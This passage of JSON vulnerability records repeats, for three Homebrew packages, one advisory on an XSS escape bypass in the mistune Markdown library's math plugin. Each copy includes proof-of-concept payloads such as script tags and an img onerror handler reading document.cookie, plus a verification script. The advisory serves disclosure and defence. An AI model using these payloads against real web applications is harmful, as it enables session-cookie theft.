        "ecosystem": "Homebrew",
        "name": "jiratui",
        "purl": "pkg:brew/jiratui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.12.0_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "BREW-jiratui-CVE-2026-44708",
  "modified": "2026-09-10T00:14:14Z",
  "published": "2026-08-13T17:00:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass",
  "upstream": [
    "GHSA-8g87-j6q8-g93x",
    "CVE-2026-44708",
    "PYSEC-2026-2206"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.3.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "jupyterlab",
        "purl": "pkg:brew/jupyterlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "4.5.7_1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.3.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.3.4"
      }
    ]
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "BREW-jupyterlab-CVE-2026-44708",
  "modified": "2026-09-17T19:02:18Z",
  "published": "2026-08-13T17:01:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass",
  "upstream": [
    "GHSA-8g87-j6q8-g93x",
    "CVE-2026-44708",
    "PYSEC-2026-2206"
  ]
}

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": null,
        "range_state": "affected",
        "resource": "mistune",
        "resource_purl": "pkg:pypi/mistune@3.1.4"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "recon-ng",
        "purl": "pkg:brew/recon-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/mistune@3.1.4",
        "name": "mistune",
        "resource": "mistune",
        "strategy": "registry",
        "subject_version": "3.1.4"
      }
    ]
  },
  "details": "## Summary\nThe mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.\n\nThe result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer\u0027s `_escape` flag entirely.\n\n## Details\n**File:** `src/mistune/plugins/math.py`\n\n```python\ndef render_inline_math(renderer, text):\n    # `text` is raw user input \u2014 no escape() call anywhere\n    return r\u0027\u003cspan class=\"math\"\u003e\\(\u0027 + text + r\"\\)\u003c/span\u003e\"\n\ndef render_block_math(renderer, text):\n    # same issue for block-level $$...$$\n    return \u0027\u003cdiv class=\"math\"\u003e$$\\n\u0027 + text + \"\\n$$\u003c/div\u003e\\n\"\n```\n\nBoth functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:\n- calls `escape(text)` from `mistune.util`\n- checks `renderer._escape`\n- calls `safe_entity(text)` or any other sanitisation helper\n\nThe `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.\n\n## PoC\n**Step 1 \u2014 Establish the baseline (escape=True works for plain HTML)**\n\nThe script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `\u003cscript\u003e` tag that is *not* inside math delimiters:\n\n```python\nmd = create_markdown(escape=True, plugins=[\"math\"])\nbl_src = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nbl_out = str(md(bl_src))\n```\n\nExpected and actual output \u2014 the script tag is correctly escaped:\n```html\n\u003cp\u003e\u0026lt;script\u0026gt;alert(document.cookie)\u0026lt;/script\u0026gt;\u003c/p\u003e\n```\n\nThis confirms `escape=True` is working for the normal render path.\n\n**Step 2 \u2014 Craft the exploit payload**\n\nWrap the identical `\u003cscript\u003e` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:\n\n```python\nex_src = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nex_out = str(md(ex_src))\n```\n\n**Step 3 \u2014 Observe the bypass**\n\nActual output \u2014 the script tag is emitted raw, unescaped:\n```html\n\u003cp\u003e\u003cspan class=\"math\"\u003e\\(\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\)\u003c/span\u003e\u003c/p\u003e\n```\n\nThe `\u003cscript\u003e` block is live inside the `\u003cspan class=\"math\"\u003e` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.\n\n**Step 4 \u2014 Block math variant (`$$...$$`)**\n\nThe same bypass applies to block-level math. Payload:\n```\n$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\n```\n\nOutput:\n```html\n\u003cdiv class=\"math\"\u003e$$\n\u003cimg src=x onerror=\"alert(document.cookie)\"\u003e\n$$\u003c/div\u003e\n```\n\nThe `onerror` handler fires as soon as the browser tries to load the non-existent image `x`.\n\n### Script\n\nA verification script was written to test this issue. It creates a HTML page showing the bypass rendering in the browser.\n\n```python\n#!/usr/bin/env python3\n\"\"\"H1: Math plugin bypasses escape=True \u2014 HTML inside $...$ passes through raw.\"\"\"\nimport os, html as h\nfrom mistune import create_markdown\n\nmd = create_markdown(escape=True, plugins=[\"math\"])\n\n# --- baseline ---\nbl_file = \"baseline_h1.md\"\nbl_src  = \"\u003cscript\u003ealert(document.cookie)\u003c/script\u003e\\n\"\nwith open(os.path.join(os.getcwd(), bl_file), \"w\") as f:\n    f.write(bl_src)\nbl_out = str(md(bl_src))\n\nprint(f\"[{bl_file}]\\n{bl_src}\")\nprint(\"[output \u2014 escape=True works normally here]\")\nprint(bl_out)\n\n# --- exploit ---\nex_file = \"exploit_h1.md\"\nex_src  = \"$\u003cscript\u003ealert(document.cookie)\u003c/script\u003e$\\n\"\nwith open(os.path.join(os.getcwd(), ex_file), \"w\") as f:\n    f.write(ex_src)\nex_out = str(md(ex_src))\n\nprint(f\"[{ex_file}]\\n{ex_src}\")\nprint(\"[output \u2014 escape=True bypassed inside math delimiters]\")\nprint(ex_out)\n\n# --- HTML report ---\nCSS = \"\"\"\nbody{font-family:-apple-system,sans-serif;max-width:1200px;margin:40px auto;background:#f0f0f0;color:#111;padding:0 24px}\nh1{font-size:1.3em;border-bottom:3px solid #333;padding-bottom:8px;margin-bottom:4px}\np.desc{color:#555;font-size:.9em;margin-top:6px}\n.case{margin:24px 0;border-radius:8px;overflow:hidden;border:1px solid #ccc;box-shadow:0 1px 4px rgba(0,0,0,.1)}\n.case-header{padding:10px 16px;font-weight:bold;font-family:monospace;font-size:.85em}\n.baseline .case-header{background:#d1fae5;color:#065f46}\n.exploit  .case-header{background:#fee2e2;color:#7f1d1d}\n.panels{display:grid;grid-template-columns:1fr 1fr;background:#fff}\n.panel{padding:16px}\n.panel+.panel{border-left:1px solid #eee}\n.panel h3{margin:0 0 8px;font-size:.68em;color:#888;text-transform:uppercase;letter-spacing:.07em}\npre{margin:0;padding:10px;background:#f6f6f6;border:1px solid #e0e0e0;border-radius:4px;font-size:.78em;white-space:pre-wrap;word-break:break-all}\n.rlabel{font-size:.68em;color:#aaa;margin:10px 0 4px;font-family:monospace}\n.rendered{padding:12px;border:1px dashed #ccc;border-radius:4px;min-height:20px;background:#fff;font-size:.9em}\n\"\"\"\n\ndef case(kind, label, filename, src, out):\n    return f\"\"\"\n\u003cdiv class=\"case {kind}\"\u003e\n  \u003cdiv class=\"case-header\"\u003e{\u0027BASELINE\u0027 if kind==\u0027baseline\u0027 else \u0027EXPLOIT\u0027} \u2014 {h.escape(label)}\u003c/div\u003e\n  \u003cdiv class=\"panels\"\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eInput \u2014 {h.escape(filename)}\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(src)}\u003c/pre\u003e\n    \u003c/div\u003e\n    \u003cdiv class=\"panel\"\u003e\n      \u003ch3\u003eOutput \u2014 HTML source\u003c/h3\u003e\n      \u003cpre\u003e{h.escape(out)}\u003c/pre\u003e\n      \u003cdiv class=\"rlabel\"\u003e\u2193 rendered in browser\u003c/div\u003e\n      \u003cdiv class=\"rendered\"\u003e{out}\u003c/div\u003e\n    \u003c/div\u003e\n  \u003c/div\u003e\n\u003c/div\u003e\"\"\"\n\npage = f\"\"\"\u003c!DOCTYPE html\u003e\u003chtml lang=\"en\"\u003e\u003chead\u003e\u003cmeta charset=\"UTF-8\"\u003e\n\u003ctitle\u003eH1 \u2014 Math XSS\u003c/title\u003e\u003cstyle\u003e{CSS}\u003c/style\u003e\u003c/head\u003e\u003cbody\u003e\n\u003ch1\u003eH1 \u2014 Math Plugin XSS (escape=True bypass)\u003c/h1\u003e\n\u003cp class=\"desc\"\u003erender_inline_math() in plugins/math.py concatenates user content without escape().\nThe escape=True renderer flag is completely ignored inside $...$ delimiters.\u003c/p\u003e\n{case(\"baseline\", \"Same HTML outside $...$  \u2014 escape=True works\", bl_file, bl_src, bl_out)}\n{case(\"exploit\",  \"Same HTML inside $...$   \u2014 escape=True bypassed\", ex_file, ex_src, ex_out)}\n\u003c/body\u003e\u003c/html\u003e\"\"\"\n\nout_path = os.path.join(os.getcwd(), \"report_h1.html\")\nwith open(out_path, \"w\") as f:\n    f.write(page)\nprint(f\"\\n[report] {out_path}\")\n```\n\nExample usage:\n```bash\npython poc.py\n```\n\nOnce the script is run, open `report_h1.html` in the browser and observe the behaviour.\n\n## Impact\n| Dimension        | Assessment |\n|------------------|-----------|\n| **Confidentiality** | Attacker can exfiltrate session cookies, auth tokens, and any data visible to the victim\u0027s browser session |\n| **Integrity**    | Attacker can mutate page content, inject phishing forms, redirect the user, or perform authenticated actions |\n| **Availability** | Attacker can crash or freeze the page (denial-of-service to the user) |\n\n**Risk amplifier:** This is a *bypass* of an explicit security control. Developers who have audited their application and confirmed `escape=True` is set believe they have XSS protection. This vulnerability silently invalidates that assumption for every math-enabled parser instance, making it likely to be missed in code reviews and security audits.",
  "id": "BREW-recon-ng-CVE-2026-44708",
  "modified": "2026-09-10T01:05:54Z",
  "published": "2026-08-13T17:32:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/security/advisories/GHSA-8g87-j6q8-g93x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44708"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lepture/mistune"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lepture/mistune/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mistune Math Plugin has an XSS Escape Bypass",
  "upstream": [
    "GHSA-8g87-j6q8-g93x",
    "CVE-2026-44708",
    "PYSEC-2026-2206"
  ]
}

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "mistune",
          "vendor": "lepture",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.2.1"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:mistune_project:mistune:*:*:*:*:*:*:*:*",
